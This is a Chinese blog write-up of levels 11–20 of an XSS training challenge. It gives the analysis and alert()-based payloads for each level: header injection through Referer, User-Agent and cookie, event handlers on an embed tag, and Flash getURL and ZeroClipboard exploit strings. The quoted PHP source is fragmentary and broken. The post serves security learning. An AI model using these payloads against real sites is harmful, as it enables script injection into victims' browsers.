XSS闯关小练习(二)

第十一关:

XSS闯关小练习(二)_第1张图片
image.png

源码:


欢迎来到level11

","",$str11); $str33=str_replace("<","",$str22); echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'

分析:hidden影藏了表单,$str与$str00都被做了转义,可以对输出的$str33写xss语句,burp抓包改referer即可
payload为:Referer: " onmouseover=alert(/xss/) type="text

第十二关:

XSS闯关小练习(二)_第2张图片
image.png

源码:

","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
';

分析:跟上题一样改user-agent即可
payload为:User-Agent:" onclick=alert(/xss/) type="text

第十三关:

XSS闯关小练习(二)_第3张图片
image.png

源码:

","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
'; ?>

分析:同上,改cookie中的user即可
payload为: " onfocus=alert(/xss/) type="text

第十四关第十五关要翻越大防火墙,作为遵纪守法的我就跳过了

XSS闯关小练习(二)_第4张图片
1.jpg

第十六关:

XSS闯关小练习(二)_第5张图片
image.png

源码:

".$str5."";
?>

分析:过滤不全面很好绕过
payload为:keyword

第十七关:

XSS闯关小练习(二)_第6张图片
image.png

源码:

";
?>

分析:俩个输出的值都被做了实体化转义,无法闭合标签,但是问题在于本身embed标签可以加入事件,可以在arg01,或者arg中加入事件去触发即可
payload为:arg01=123%20onmouseover=alert('xss')&arg=456

第十八关:

XSS闯关小练习(二)_第7张图片
image.png

源码:

";
?>

分析:没看出和上一关有什么区别,直接用上一关的payload即可。
payload为:arg01=123%20onmouseover=alert('xss')&arg=456

第十九关:

XSS闯关小练习(二)_第8张图片
image.png

源码:

';
?>

分析:这一关开始是flash xss了,首先下载页面中的flash,对源码进行分析,我用的是JPEXS这款工具。发现是actionscript 2.0,首先定位getURL函数,

sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));
再追踪到sIFR的内容,省略了一些代码,关键代码如下:
if(_loc5_ && _root.version != sIFR.VERSION)
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link时,打开,故定位以下函数:
function contentIsLink()
{
return this.content.indexOf("") == this.content.length - 4);
}   //大体意思是要geturl得用a标签吧。

payload为:arg01=version&arg02=%3Ca%20href=%22javascript:alert(%27xss%27)%22%3E111%3C/a%3E //点击传入进去的’111‘就可以触发XSS。

第二十题:

得下载这个东西zeroclipboard.swf,烧脑百度之后得知有漏洞利用的payload直接用了,嘻嘻。
可以参考这个大神发的文章http://www.freebuf.com/sectool/108568.html

image.png

payload为:arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(/xss/)//%26width%26height

完毕!!

你可能感兴趣的:(XSS闯关小练习(二))